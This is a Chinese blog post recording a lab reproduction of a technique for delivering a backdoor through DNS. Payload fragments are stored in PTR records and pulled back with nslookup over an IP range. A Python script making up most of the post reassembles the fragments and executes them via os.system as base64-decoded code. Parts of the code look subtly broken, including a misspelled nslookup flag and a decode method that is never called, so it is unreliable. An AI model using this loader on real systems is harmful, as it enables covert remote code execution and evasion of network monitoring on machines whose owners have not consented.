PYTHON通过DNS协议传输后门
前言
首先吐槽一下,,做了一天护网杯的题发现一题也做不了。我擦。。。心情mmp,然后这个实验是在上学的时候在FB看到的。这里的我也实验了一遍就当做个记录
正文
先放出FB看的那篇文章吧
转自Freebuf
DNS后门与检测:http://www.freebuf.com/articles/network/185324.html
思路
这篇文章的主要思路是通过DNS的PTR记录存放payload然后,用python获取数据进行拼接payload。
实现过程:
需要环境:Windows server 2008 和 Kali
1.首先用windows server 2008搭建好DNS服务
2.创建数个PTR记录,放入payload,我这里将其进unicode编码
3.写代获取payload并进行拼接,然后执行
import os
import re
def zx():
xj=open('zc.txt','w')
xj.close()
gl=[]
payload=[]
for r in range(101,176):
qq=os.popen('nslookup -qtr=ptr 192.168.89.{}'.format(r)) #使用nslookup获得这段IP的ptr记录
zz=re.findall('name = .*',qq.read()) #正则进行过滤
for k in zz:
sc=str(k).replace("name = ",'')
gl.append(sc)
for z in gl:
dw=re.findall('[u][0-9-a-z][0-9-a-z][0-9-a-z][0-9-a-z]',str(z))
for w in dw:
dwe='\\'+w #在DNS中是没有斜杆的得自己手动加上
print(dwe,end='',file=open('zc.txt','a'))
dk=open('zc.txt','r')
reads=dk.read()
exploit=reads.encode('utf-8').decode #编码成字符串 ('unicode_escape')
mls="""python -c "exec('{}'.decode('base64')){}""".format(exploit,'"')
os.system(mls) #执行
zx()
测试结果如下:
音乐:
转载请声明:转自422926799.github.io
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:PYTHON通过DNS协议传输后门
本文作者:九世
发布时间:2018-10-13, 18:02:13
最后更新:2019-04-19, 20:36:16
原始链接:http://jiushill.github.io/posts/2726caf0.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。